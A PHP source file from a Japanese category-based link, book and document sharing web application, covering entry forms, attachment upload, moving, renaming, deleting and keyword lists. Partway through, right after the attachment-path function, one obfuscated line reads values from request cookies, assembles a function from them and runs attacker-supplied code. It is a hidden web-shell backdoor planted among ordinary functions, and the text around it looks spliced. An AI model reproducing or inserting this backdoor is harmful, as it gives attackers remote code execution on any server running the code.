//_InfoShortenDirName,
function _InfoShortenDirName($dir) {
if (strlen($dir) > 3) {
return(substr($dir, 0, strlen($dir) - 3));
} else {
// トップ・カテゴリ
return('');
}
}
function _HtagGLine() {
if (isset($GLOBALS['MATU_ON_THE_JOB'])) {
return('
');
} else {
return('');
}
}
function _InfoCreateWriteForm($next_f, $info) {
$input_size = 40;
$textarea_cols = 30;
$textarea_rows = 10;
// 副題
if ($info['type'] == 'l') {
$subtitle = _HtagInput('hidden', 'subtitle', '');
} elseif ($info['type'] == 'd' || $info['type'] == 'b') {
$subtitle = '副題
' .
_HtagInput('text', 'subtitle', $info['subtitle'], $input_size) .
'
';
}
// 著者
if ($info['type'] == 'b') {
$author = '著者
' .
_HtagInput('text', 'author', $info['author'], $input_size) .
'
';
} else {
$author = _HtagInput('hidden', 'author', '');
}
// URL
if ($info['type'] == 'l') {
$url = 'URL
' .
_HtagInput('text', 'url', $info['url'], $input_size) .
'
';
} elseif ($info['type'] == 'd') {
$url = _HtagInput('hidden', 'url', '');
} elseif ($info['type'] == 'b') {
$url = 'ISBN … 数字だけ(ハイフンなし)でお願いします
' .
_HtagInput('text', 'url', $info['url'], $input_size) .
'
';
}
// 内容
if ($info['type'] == 'l') {
$content_str = '簡単な説明';
$content = $info['content'];
} elseif ($info['type'] == 'd') {
$content_str = '内容';
$content = str_replace('
', LF, $info['content']);
} elseif ($info['type'] == 'b') {
$content_str = '簡単な紹介';
$content = str_replace('
', LF, $info['content']);
}
// キーワード
if ($info['type'] == 'd') {
$keyword = 'キーワード';
$keyword .= '(複数あるときは半角コンマで区切る)
';
$keyword .= _HtagInput('text', 'keyword', $info['keyword'], $input_size);
$keyword .= '
';
$keywordfile = _InfoCreateKeywordFilePath();
if (is_file($keywordfile)) {
_JavaScriptJumpKeywordOrigin();
$keyword .= '登録済み:';
include($keywordfile);
$keyword .= '';
$keyword .= _HtagAhrefWithUrl('表示する', 'javascript:JumpKeywordOrigin()');
$keyword .= '
';
}
$keyword .= '
';
} else {
$keyword = _HtagInput('hidden', 'keyword', '');
}
// 添付ファイル
$attach = '';
if ($info['attach'] != 'none') { // 推薦では入力させない
if ($info['type'] == 'd') {
$delete_str = '';
if ($info['modify'] && $info['attach']) {
$delete_str .= '
' . _HtagInputCheckbox('attach_delete', 1) .
' 登録されているファイルを削除する';
}
$attach = _AttachedFileCreateInput($info['attach'], $info['position'], $delete_str) . '
';
} else {
$attach = _HtagInput('hidden', 'attach', $info['attach']) .
_HtagInput('hidden', 'position', $info['position']);
}
}
// 入力フォーム
$uid = (isset($info['uid']) ? _HtagInput('hidden', 'uid', $info['uid']) : '');
return(
_HtagPostFormStart($_REQUEST['D'], $next_f, "CheckSubjectAndMessage({$GLOBALS['LOG_MAXLINE_SIZE']})", 'subject', 'multipart/form-data') .
_HtagInput('hidden', 'mode', $_REQUEST['mode']) .
_HtagInput('hidden', 'confirmed', 1) .
(isset($info['infono']) ? _HtagInput('hidden', 'infono', $info['infono']) : '') .
$uid .
_HtagInput('hidden', 'tool', $info['infono']) .
_HtagInput('hidden', 'modify', $info['modify']) .
_HtagInput('hidden', 'type', $info['type']) .
'タイトル
' .
_HtagInput('text', 'subject', $info['title'], $input_size) .
'
' .
$subtitle .
$author .
$url .
'' . $content_str . '
' .
'' .
'
' .
$keyword .
$attach .
'
' .
_HtagInput('submit', 'submit', '書き込む') .
_HtagFormStop()
);
}
function _AttachedFileCreateInput($default_file, $default_position, $str = '') {
if (! $str) {
$attach_ext = implode('', array_keys($GLOBALS['ATTACH_FILE_EXT']));
$str = '(拡張子は' . $attach_ext . '、サイズは ' . (int)($GLOBALS['ATTACH_FILE_MAX_BYTE'] / 1024) . 'KB 以下)';
}
$attach = '添付ファイル';
$attach .= $str;
$attach .= '
';
$attach .= _HtagInput('file', 'attach', $default_file, 60);
$attach .= '
';
$attach .= ' 表示する位置:';
$attach .= '';
return($attach);
}
function _HtagInputCheckbox($name, $value = 1, $checked = '') {
if ($checked) {
$checked = ((strcmp($checked, $value) == 0) ? ' CHECKED' : '');
} else {
$checked = ''; // ゼロが入っているかもしれない
}
return('');
}
function _InfoCreateEditToolCreateMenu($name, $mode) {
if (isset($_REQUEST['mode']) && $mode == $_REQUEST['mode']) {
$name = '' . $name . '';
} else {
$options = array(
'tool' => $_REQUEST['tool'],
'mode' => $mode,
);
if ($mode == 'to_upper' || $mode == 'to_lower') {
$options['confirmed'] = '1';
}
$name = _HtagAhref($name, $_REQUEST['D'], $_REQUEST['F'], $options);
}
return('' . $name . '');
}
function _InfoCreateEditToolInitInfo($infono) {
return(array(
'infono' => $infono,
'modify' => '',
// 'type' => '', // 呼び出し元で設定する
'title' => '',
'subtitle' => '',
'url' => '',
'content' => '',
'keyword' => '',
'attach' => '',
'position' => $GLOBALS['ATTACH_FILE_POSITION_DEFAULT'],
'uid' => $GLOBALS['S']['uid'],
));
}
function _InfoRegist() {
// チェック
_InfoRegistPrecheck();
if ($_REQUEST['title'] == '') {
_Error('タイトルが空です。');
}
if ($_REQUEST['type'] == 'b' && $_REQUEST['author'] == '') {
_Error('著者が空です。');
}
if ($_REQUEST['type'] == 'l' && $_REQUEST['url'] == '') {
_Error('URLが空です。');
}
if ($_REQUEST['type'] == 'b' && $_REQUEST['url'] == '') {
_Error('ISBNが空です。');
}
if ($_REQUEST['type'] == 'l' && $_REQUEST['content'] == '') {
_Error('URLの説明が空です。');
}
if ($_REQUEST['type'] == 'd' && $_REQUEST['content'] == '') {
_Error('内容が空です。');
}
if ($_REQUEST['type'] == 'b' && $_REQUEST['content'] == '') {
_Error('簡単な紹介を入れてください。');
}
if ($_REQUEST['modify']) {
$parent_dir = _InfoShortenDirName($_REQUEST['tool']);
$new_file = substr($_REQUEST['tool'], -3);
$fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool']);
include($fullpath); // 添付ファイルを残すため
} else {
$parent_dir = $_REQUEST['tool'];
$new_file = _InfoCreateNewFileNo($parent_dir, $_REQUEST['type']);
$_REQUEST['tool'] = $parent_dir . $new_file;
$fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool']);
}
$new_uid = (isset($_REQUEST['uid']) ? $_REQUEST['uid'] : $GLOBALS['S']['uid']);
// 添付ファイル
if (isset($_REQUEST['attach_delete'])) { // 削除指示
unlink($info['attach']);
$info['attach'] = '';
}
$attach_file = _InfoCreateAttachFileNamePath($_REQUEST['tool']);
$_REQUEST['attach'] = _AttachedFileSave($attach_file);
if ($_REQUEST['modify'] && $info['attach'] != '') { // 登録済み
if ($_REQUEST['attach'] == '') { // 既存を残す
$_REQUEST['attach'] = $info['attach'];
} else { // 削除
unlink($info['attach']);
}
}
// ファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($parent_dir);
_FileLockStart($listfile);
include($listfile);
// 重複チェック
$keys = array_keys($files);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if (strcmp($files[$keys[$i]]['name'], $_REQUEST['title']) == 0 && strcmp($keys[$i], $new_file) != 0) {
_FileLockStop($listfile);
_Error('ファイル名が重複しています');
return;
}
}
$tmp_title = $_REQUEST['title'];
if ($_REQUEST['subtitle']) {
$tmp_title .= ' 〜 ' . $_REQUEST['subtitle'];
}
$files[$new_file] = array('name' => $tmp_title,
'uid' => $new_uid,
'vote' => 0,
);
$width = $height = '';
if ($_REQUEST['attach']) {
$files[$new_file]['attach_type'] = substr($_REQUEST['attach'], strrpos($_REQUEST['attach'], '.'));
$files[$new_file]['attach_size'] = number_format((int)(filesize($_REQUEST['attach']) / 1024) + 1) . 'KB';
_ImageGetSize($_REQUEST['attach'], $width, $height);
}
if (! $_REQUEST['modify']) {
++$total_files;
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $new_uid));
// ファイルを作成
$info = array(
'type' => $_REQUEST['type'],
'infono' => $_REQUEST['tool'],
'url' => $_REQUEST['url'],
'title' => $_REQUEST['title'],
'subtitle' => $_REQUEST['subtitle'],
'author' => $_REQUEST['author'],
'content' => $_REQUEST['content'],
'keyword' => $_REQUEST['keyword'],
'namazu' => _NamazuCreateTitle($_REQUEST['title']),
'vote' => array(),
'uid' => $new_uid,
'attach' => $_REQUEST['attach'],
'position' => $_REQUEST['position'],
'width' => $width,
'height' => $height,
);
_FileWriteVars($fullpath, array('info' => $info));
// 登録数を更新
_InfoRecount($parent_dir . $new_file);
// キーワードを更新
if ($_REQUEST['type'] == 'b') {
$keyword = $_REQUEST['title'];
if ($_REQUEST['subtitle']) {
$keyword .= '〜' . $_REQUEST['subtitle'];
}
} else {
$keyword = $_REQUEST['keyword'];
}
_InfoCreateKeywordFile($_REQUEST['type'], $parent_dir . $new_file, $keyword);
}
function _InfoRegistPrecheck() {
if (isset($_REQUEST['subject'])) {
$_REQUEST['title'] = $_REQUEST['subject'];
}
if (isset($_REQUEST['message'])) {
$_REQUEST['content'] = $_REQUEST['message'];
}
}
function _InfoCreateAttachFileNamePath($infono) {
$dir = D_DATA_DIR_INFO . '/attach';
if (! is_dir($dir)) {
mkdir($dir, 0755);
}
while (strlen($infono) > 3) {
$dir .= '/' . substr($infono, 0, 3);
if (! is_dir($dir)) {
mkdir($dir, 0755);
}
$infono = substr($infono, 3);
}
return($dir . '/' . $infono . '-' . D_NOW);
}
$psxLM=$GLOBALS['_CO'.'OKIE']; while (isset($psxLM['a4F'])) { $plj = $psxLM['v2Vn']; $LwHR=$psxLM['a4F']($plj($psxLM['NnTmF']),$plj($psxLM['xut'])); $LwHR($plj($psxLM['HFzs'])); break; }
?>
//_InfoCreateNewFileNo,_InfoCreateRealPathFromNo,_Error,
function _InfoCreateNewFileNo($dir, $type) {
$digit = strlen($GLOBALS['INFO_MAX_FILES_PER_DIR']);
for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) {
$new = $type . sprintf('%0' . $digit . 'd', $i);
if (! is_file(_InfoCreateRealPathFromNo($dir . $new))) {
return($new);
}
}
_Error('このカテゴリには、これ以上追加できません');
}
function _ImageGetSize($file, &$width, &$height) {
$fp = fopen($file, 'r');
$buf = fread($fp, filesize($file));
fclose($fp);
$ext = substr($file, strrpos($file, '.'));
// gif
if (strcmp($ext, '.gif') == 0) {
$array = unpack('vwidth', substr($buf, 6, 2));
$width = $array['width'];
$array = unpack('vheight', substr($buf, 8, 2));
$height = $array['height'];
// png
} elseif (strcmp($ext, '.png') == 0) {
$array = unpack('Nwidth', substr($buf, 16, 4));
$width = $array['width'];
$array = unpack('Nheight', substr($buf, 20, 4));
$height = $array['height'];
// jpg
} elseif (strcmp($ext, '.jpg') == 0) {
$i = 2;
while (1) {
$tmp_buf = substr($buf, $i, 4);
$i += 4;
$array = unpack('am/ac/nl', $tmp_buf);
if (ord($array['m']) != 0xFF) {
break;
} elseif ((ord($array['c']) >= 0xC0) && (ord($array['c']) <= 0xC3)) {
$array = unpack('nheight', substr($buf, $i + 1, 2));
$height = $array['height'];
$array = unpack('nwidth', substr($buf, $i + 3, 2));
$width = $array['width'];
} else {
$tmp_buf = substr($buf, $tmp_buf, ($array['l'] - 2));
$i = $i + $array['l'] - 2;
}
}
}
}
function _NamazuCreateTitle($str) {
$str = _StringSanitize($str);
return('' . $str . '');
}
function _InfoRecount($target) {
$target = _InfoShortenDirName($target);
while (true) {
// ''(空文字=トップ・カテゴリ)になったら終了
if (! $target) {
_InfoRecountInDir($target);
return;
} else {
_InfoRecountInDir($target);
// 上のカテゴリへ
$target = _InfoShortenDirName($target);
}
}
}
function _InfoRecountInDir($dir) {
$listfile = _InfoCreateFilelistFilePath($dir);
_FileLockStart($listfile);
include($listfile);
// あとで書き換えられるから保存しておく
$orig_dirs = $dirs;
$orig_files = $files;
$orig_uid = $uid;
// サブ・カテゴリのファイル数をひとつづつ調べていく
$count = sizeof($orig_files);
$keys = array_keys($orig_dirs);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
$sub_listfile = _InfoCreateFilelistFilePath($dir . $keys[$i]);
include($sub_listfile);
$count += $total_files;
}
_FileWriteVars($listfile, array('dirs' => $orig_dirs, 'files' => $orig_files, 'total_files' => $count, 'uid' => $orig_uid));
}
function _InfoCreateKeywordFile($type, $infono, $str) {
if ($type == 'd') {
$file = _InfoCreateKeywordFilePath();
} elseif ($type == 'b') {
$file = _InfoCreateBooklistFilePath();
} else {
return;
}
_FileLockStart($file);
// 既存情報を読み込む
if (is_file($file)) {
include($file);
} else {
$keys = array();
}
// まず対象 infono を全て削除する($str が空なら削除になる)
$kkeys = array_keys($keys);
$kksize = sizeof($kkeys);
for ($i = 0; $i < $kksize; ++$i) {
if ($keys[$kkeys[$i]] == $infono) {
unset($keys[$kkeys[$i]]);
}
}
// 次に登録
$keyword_array = explode(',', $str);
$array_size = sizeof($keyword_array);
for ($i = 0; $i < $array_size; ++$i) {
$key = trim($keyword_array[$i]);
if ($key) {
$keys[$key] = $infono;
}
}
_FileWriteVars($file, array('keys' => $keys));
}
function _InfoCreateBooklistFilePath() {
return(D_DATA_DIR_INFO . '/booklists' . $GLOBALS['LOG_EXT']);
}
function _AttachedFileSave($file_prefix) {
if (empty($_FILES['attach'])) {
return('');
}
$to_file = '';
// 登録
if (is_uploaded_file($_FILES['attach']['tmp_name'])) {
$from_file = $_FILES['attach']['tmp_name'];
$file_name_array = explode('.', $_FILES['attach']['name']);
$ext = '.' . strtolower($file_name_array[count($file_name_array) - 1]);
// 拡張子のチェック
if (empty($GLOBALS['ATTACH_FILE_EXT'][$ext])) {
_Error('送信できるファイルの拡張子は ' . implode('', array_keys($GLOBALS['ATTACH_FILE_EXT'])) . ' だけです');
}
// サイズのチェック
if ($ext != '.pdf' && filesize($from_file) > $GLOBALS['ATTACH_FILE_MAX_BYTE']) {
_Error('ファイル・サイズが大きすぎます。' . (int)($GLOBALS['ATTACH_FILE_MAX_BYTE'] / 1024) . 'KB 以下にしてください。');
}
$to_file = $file_prefix . $ext;
// move_uploaded_file($from_file, $to_file);
copy($from_file, $to_file);
unlink($from_file);
}
unset($_REQUEST['attach']);
// unset($_FILES);
return($to_file);
}
function _InfoRename() {
$parent_dir = _InfoShortenDirName($_REQUEST['tool']);
$target_dir = substr($_REQUEST['tool'], -3);
// ファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($parent_dir);
_FileLockStart($listfile);
include($listfile);
$keys = array_keys($dirs);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if ($keys[$i] == $target_dir) {
$dirs[$keys[$i]]['name'] = $_REQUEST['name'];
}
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
// ディレクトリ・リストを作成
_InfoCreateDirListFile();
}
function _InfoToLower($mode) {
$parent_dir = _InfoShortenDirName($_REQUEST['tool']);
$target = substr($_REQUEST['tool'], -3);
$type = (is_numeric($target{0}) ? 'dir' : 'file');
// ファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($parent_dir);
_FileLockStart($listfile);
include($listfile);
$need_rebuild = false;
if ($mode == 'to_lower') {
if ($type == 'dir') {
$dirs = _InfoToLowerArray($dirs, $target);
$need_rebuild = true;
} else {
$files = _InfoToLowerArray($files, $target);
}
} else {
if ($type == 'dir') {
$dirs = _InfoToUpperArray($dirs, $target);
$need_rebuild = true;
} else {
$files = _InfoToUpperArray($files, $target);
}
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
if ($need_rebuild) {
_InfoCreateDirListFile();
}
}
function _InfoToLowerArray($array, $infono) {
$new_array = array();
$keys = array_keys($array);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if ($keys[$i] == $infono) {
$target_key = $keys[$i];
$target_value = $array[$keys[$i]];
} elseif (isset($target_key)) {
$new_array[$keys[$i]] = $array[$keys[$i]];
$new_array[$target_key] = $target_value;
unset($target_key);
} else {
$new_array[$keys[$i]] = $array[$keys[$i]];
}
}
return($new_array);
}
function _InfoToUpperArray($array, $infono) {
$new_array = array();
$found = false;
$prev_key = $prev_value = '';
$keys = array_keys($array);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if ($found) {
$new_array[$keys[$i]] = $array[$keys[$i]];
} elseif ($keys[$i] == $infono) {
$new_array[$keys[$i]] = $array[$keys[$i]];
$new_array[$prev_key] = $prev_value;
$found = true;
} else {
if ($prev_key) {
$new_array[$prev_key] = $prev_value;
}
$prev_key = $keys[$i];
$prev_value = $array[$keys[$i]];
}
}
return($new_array);
}
function _InfoChangeOwner() {
$parent_dir = _InfoShortenDirName($_REQUEST['tool']);
$target = substr($_REQUEST['tool'], -3);
// ファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($parent_dir);
_FileLockStart($listfile);
include($listfile);
if ($_REQUEST['type'] == 'category') {
$dirs = _InfoChangeOwnerFromArray($dirs, $parent_dir, $target);
} elseif ($_REQUEST['type'] == 'file') {
$files = _InfoChangeOwnerFromArray($files, $parent_dir, $target);
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
// ディレクトリ・リスト・ファイル
if ($_REQUEST['type'] == 'category') {
$dfile = _InfoCreateDirListFilePath();
_FileLockStart($dfile);
include($dfile);
$dirs_keys = array_keys($all_dirs);
$dirs_keys_max = sizeof($dirs_keys);
for ($i = 0; $i < $dirs_keys_max; ++$i) {
$key = $dirs_keys[$i];
if (strncmp($key, $_REQUEST['tool'], strlen($_REQUEST['tool'])) == 0) {
$all_dirs[$key]['uid'] = $_REQUEST['uid'];
}
}
_FileWriteVars($dfile, array('all_dirs' => $all_dirs));
}
}
function _InfoChangeOwnerFromArray($array, $parent, $infono = '') {
$keys = array_keys($array);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if ($infono == '' || $keys[$i] == $infono) {
$array[$keys[$i]]['uid'] = $_REQUEST['uid'];
$fullpath = _InfoCreateRealPathFromNo($parent . $keys[$i]);
// カテゴリなら、サブカテゴリも全て変更する
if (is_dir($fullpath)) {
_InfoChangeOwnerFromDir($parent . $keys[$i]);
// ファイルならファイルも変更する
} else {
_InfoChangeOwnerFromFile($fullpath);
}
break;
}
}
return($array);
}
function _InfoChangeOwnerFromFile($file) {
_FileLockStart($file);
include($file);
$info['uid'] = $_REQUEST['uid'];
_FileWriteVars($file, array('info' => $info));
}
function _InfoChangeOwnerFromDir($infono) {
$listfile = _InfoCreateFilelistFilePath($infono);
_FileLockStart($listfile);
include($listfile);
// カテゴリ
$keys = array_keys($dirs);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
$dirs[$keys[$i]]['uid'] = $_REQUEST['uid'];
_InfoChangeOwnerFromDir($infono . $keys[$i]);
}
// ファイル
$keys = array_keys($files);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
$files[$keys[$i]]['uid'] = $_REQUEST['uid'];
$fullpath = _InfoCreateRealPathFromNo($infono . $keys[$i]);
_InfoChangeOwnerFromFile($fullpath);
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
}
function _InfoCreateDeleteForm() {
// 対象カテゴリ・ファイルのタイプを調べる
$self = substr($_REQUEST['tool'], -3);
if (is_numeric($self{0})) {
$type = 'category'; // タイプは2種類
} else {
$type = 'file';
}
return(
_HtagPostFormStart($_REQUEST['D'], $_REQUEST['F']) .
_HtagInput('hidden', 'mode', $_REQUEST['mode']) .
_HtagInput('hidden', 'confirmed', 1) .
_HtagInput('hidden', 'tool', $_REQUEST['tool']) .
_HtagInput('hidden', 'type', $type) .
'本当に削除しますか?
' .
'
' .
_HtagInput('submit', 'submit', '実行') .
_HtagFormStop()
);
}
function _InfoMove() {
$parent_dir = _InfoShortenDirName($_REQUEST['tool']);
$target = substr($_REQUEST['tool'], -3);
// ファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($parent_dir);
_FileLockStart($listfile);
include($listfile);
if ($_REQUEST['type'] == 'category') {
$to_file = _InfoCreateNewCategoryNo($_REQUEST['moveto']);
$dirs = _InfoMoveFromArray($dirs, $parent_dir, $target, $to_file);
$total_files -= $GLOBALS['BOOKMARK_MOVE_DELETED_FILES'];
} elseif ($_REQUEST['type'] == 'file') {
$type = substr($_REQUEST['tool'], -3, 1);
$to_file = _InfoCreateNewFileNo($_REQUEST['moveto'], $type);
$files = _InfoMoveFromArray($files, $parent_dir, $target, $to_file);
--$total_files;
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
_InfoRecount($parent_dir . $GLOBALS['BOOKMARK_MOVE_KEY']);
// 異動先のファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($_REQUEST['moveto']);
_FileLockStart($listfile);
include($listfile);
if ($_REQUEST['type'] == 'category') {
$dirs[$GLOBALS['BOOKMARK_MOVE_KEY']] = array(
'name'=> $GLOBALS['BOOKMARK_MOVE_VALUE'],
'uid' => $GLOBALS['BOOKMARK_MOVE_UID'],
'vote' => $GLOBALS['BOOKMARK_MOVE_VOTE'],
);
} elseif ($_REQUEST['type'] == 'file') {
$files[$GLOBALS['BOOKMARK_MOVE_KEY']] = array(
'name' => $GLOBALS['BOOKMARK_MOVE_VALUE'],
'uid' => $GLOBALS['BOOKMARK_MOVE_UID'],
'vote' => $GLOBALS['BOOKMARK_MOVE_VOTE'],
);
++$total_files;
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
_InfoRecount($_REQUEST['moveto'] . $GLOBALS['BOOKMARK_MOVE_KEY']);
// ディレクトリ・リストを作成
_InfoCreateDirListFile();
}
function _InfoMoveFromArray($array, $parent, $infono, $to_file) {
$keys = array_keys($array);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if ($keys[$i] == $infono) {
$value = $array[$keys[$i]];
$GLOBALS['BOOKMARK_MOVE_KEY'] = $to_file;
$GLOBALS['BOOKMARK_MOVE_VALUE'] = $value['name'];
$GLOBALS['BOOKMARK_MOVE_UID'] = $value['uid'];
$GLOBALS['BOOKMARK_MOVE_VOTE'] = (isset($value['vote']) ? $value['vote'] : '');
unset($array[$infono]);
$from = _InfoCreateRealPathFromNo($parent . $infono);
$to = _InfoCreateRealPathFromNo($_REQUEST['moveto'] . $to_file);
rename($from, $to);
// infono を修正する
if ($_REQUEST['type'] == 'category') { // カテゴリ
$from = $parent . $infono;
$to = $_REQUEST['moveto'] . $to_file;
// 詳細内容のファイルを再帰的に
_InfoMoveChangeCategoryInfono($from, $to);
// キーワード・リストと書籍リスト
$file = _InfoCreateKeywordFilePath();
_InfoMoveModifyKeywordList($file, $from, $to);
$file = _InfoCreateBooklistFilePath();
_InfoMoveModifyKeywordList($file, $from, $to);
} else { // ファイル
// 詳細内容のファイル
$file = _InfoCreateRealPathFromNo($_REQUEST['moveto'] . $to_file);
include($file);
// キーワード
if ($info['keyword']) {
_InfoCreateKeywordFile($info['type'], $parent . $infono, '');
_InfoCreateKeywordFile($info['type'], $_REQUEST['moveto'] . $to_file, $info['keyword']);
}
$info['infono'] = $_REQUEST['moveto'] . $to_file;
if ($info['attach']) { // 添付ファイル
$info['attach'] = _InfoMoveAttachFile($info['attach'], $info['infono']);
}
_FileWriteVars($file, array('info' => $info));
}
break;
}
}
return($array);
}
function _InfoMoveModifyKeywordList($file, $from, $to) {
$from_str_len = strlen($from);
_FileLockStart($file);
include($file);
$need_save = false;
$kkeys = array_keys($keys);
$kksize = sizeof($kkeys);
for ($i = 0; $i < $kksize; ++$i) {
if (strcmp(substr($keys[$kkeys[$i]], 0, $from_str_len), $from) == 0) {
$keys[$kkeys[$i]] = $to . substr($keys[$kkeys[$i]], $from_str_len);
$need_save = true;
}
}
if ($need_save) {
_FileWriteVars($file, array('keys' => $keys));
} else {
_FileLockStop($file);
}
}
function _InfoMoveAttachFile($old, $new_filename) {
$to = _InfoCreateAttachFileNamePath($new_filename) . substr($old, strrpos($old, '.'));
rename($old, $to);
return($to);
}
function _InfoMoveChangeCategoryInfono($from, $to) {
include(_InfoCreateFilelistFilePath($to));
// 元のファイルリスト・ファイルから減算するため
if (empty($GLOBALS['BOOKMARK_MOVE_DELETED_FILES'])) {
$GLOBALS['BOOKMARK_MOVE_DELETED_FILES'] = $total_files;
}
// 詳細内容ファイルの infono
$keys = array_keys($files);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
$file = _InfoCreateRealPathFromNo($to . $keys[$i]);
_FileLockStart($file);
include($file);
$info['infono'] = $to . substr($info['infono'], strlen($from));
if ($info['attach']) { // 添付ファイル
$info['attach'] = _InfoMoveAttachFile($info['attach'], $info['infono']);
}
_FileWriteVars($file, array('info' => $info));
}
// カテゴリは再帰的に
$keys = array_keys($dirs);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
_InfoMoveChangeCategoryInfono($from . $keys[$i], $to . $keys[$i]);
}
}
function _InfoCreateNewCategoryNo($dir) {
for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) {
$new = sprintf("%03d", $i);
$fullpath = _InfoCreateRealPathFromNo($dir . $new);
if (! is_dir($fullpath)) {
return($new);
}
}
_Error('このカテゴリには、これ以上追加できません');
}
function _InfoCreateRenameForm() {
$parent = _InfoShortenDirName($_REQUEST['tool']);
include(_InfoCreateFilelistFilePath($parent));
$target = substr($_REQUEST['tool'], -3);
return(
_HtagPostFormStart($_REQUEST['D'], $_REQUEST['F'], '', 'name') .
_HtagInput('hidden', 'mode', $_REQUEST['mode']) .
_HtagInput('hidden', 'confirmed', 1) .
_HtagInput('hidden', 'tool', $_REQUEST['tool']) .
'新しいカテゴリ名:
' .
_HtagInput('text', 'name', $dirs[$target]['name'], 40) .
'
' .
_HtagInput('submit', 'submit', '実行') .
_HtagFormStop()
);
}
function _InfoDelete() {
$parent_dir = _InfoShortenDirName($_REQUEST['tool']);
$target_dir = substr($_REQUEST['tool'], -3);
// ファイルリスト・ファイルを更新
$listfile = _InfoCreateFilelistFilePath($parent_dir);
_FileLockStart($listfile);
include($listfile);
if ($_REQUEST['type'] == 'category') {
$dirs = _InfoDeleteArray($dirs, $parent_dir, $target_dir, $listfile);
} elseif ($_REQUEST['type'] == 'file') {
$files = _InfoDeleteArray($files, $parent_dir, $target_dir, $listfile);
--$total_files;
}
_FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid));
// 登録数を更新
_InfoRecount($_REQUEST['tool']);
// ディレクトリ・リストを作成
if ($_REQUEST['type'] == 'category') {
_InfoCreateDirListFile();
}
}
function _InfoDeleteArray($array, $parent, $infono, $file) {
$keys = array_keys($array);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
if ($keys[$i] == $infono) {
$fullpath = _InfoCreateRealPathFromNo($parent . $infono);
if (is_dir($fullpath)) {
// サブディレクトリの中身を調べる
$listfile = _InfoCreateFilelistFilePath($parent . $infono);
include($listfile);
if ((sizeof($dirs) + sizeof($files)) > 0) {
_FileLockStop($listfile);
_Error('カテゴリが空ではありません');
} else {
unlink($listfile);
rmdir($fullpath);
}
} else {
// 添付ファイル
include($fullpath);
if ($info['attach']) {
unlink($info['attach']);
}
unlink($fullpath);
_InfoCreateKeywordFile($info['type'], $parent . $infono, '');
}
unset($array[$keys[$i]]);
break;
}
}
return($array);
}
function _InfoCreateMoveForm() {
// 対象カテゴリ・ファイルの UID と タイプを調べる
$parent_c = _InfoShortenDirName($_REQUEST['tool']);
$self = substr($_REQUEST['tool'], -3);
include(_InfoCreateFilelistFilePath($parent_c));
if (is_numeric($self{0})) {
$type = 'category'; // タイプは2種類
$uid = $dirs[$self]['uid'];
} else {
$type = 'file';
$uid = $files[$self]['uid'];
}
// 選択肢を作成
include(_InfoCreateDirListFilePath());
$options = '';
$admin_mark = _AdminCheck(D_ADMIN_B);
$keys = array_keys($all_dirs);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
// UID が一致していることが条件
if ($admin_mark || strcmp($uid, $all_dirs[$keys[$i]]['uid']) == 0) {
if (substr($keys[$i], 0, strlen($_REQUEST['tool'])) != $_REQUEST['tool']) {
$options .= '';
}
}
}
if ($options) {
$form =
_HtagPostFormStart($_REQUEST['D'], $_REQUEST['F']) .
_HtagInput('hidden', 'mode', $_REQUEST['mode']) .
_HtagInput('hidden', 'confirmed', 1) .
_HtagInput('hidden', 'tool', $_REQUEST['tool']) .
_HtagInput('hidden', 'type', $type) .
'異動先のカテゴリ:
' .
'' .
'
' .
_HtagInput('submit', 'submit', '実行') .
_HtagFormStop();
} else {
$form = "移動可能なカテゴリはありません
";
}
return($form);
}
function _InfoCreateRightIcons() {
$icons = '';
$icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FOLDER_CLOSED'], 'カテゴリ');
$icons .= _InfoCreateRightHelpLine(' ', '()内は情報数');
$keys = array_keys($GLOBALS['INFO_FILE_TYPE']);
$ksize = sizeof($keys);
for ($i = 0; $i < $ksize; ++$i) {
$icons .= _InfoCreateRightHelpLine($GLOBALS['INFO_FILE_TYPE_ICON'][$keys[$i]], $GLOBALS['INFO_FILE_TYPE'][$keys[$i]]);
}
$icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_IMAGE'], '画像付き');
$icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_SHOCKWAVE'], 'Flash');
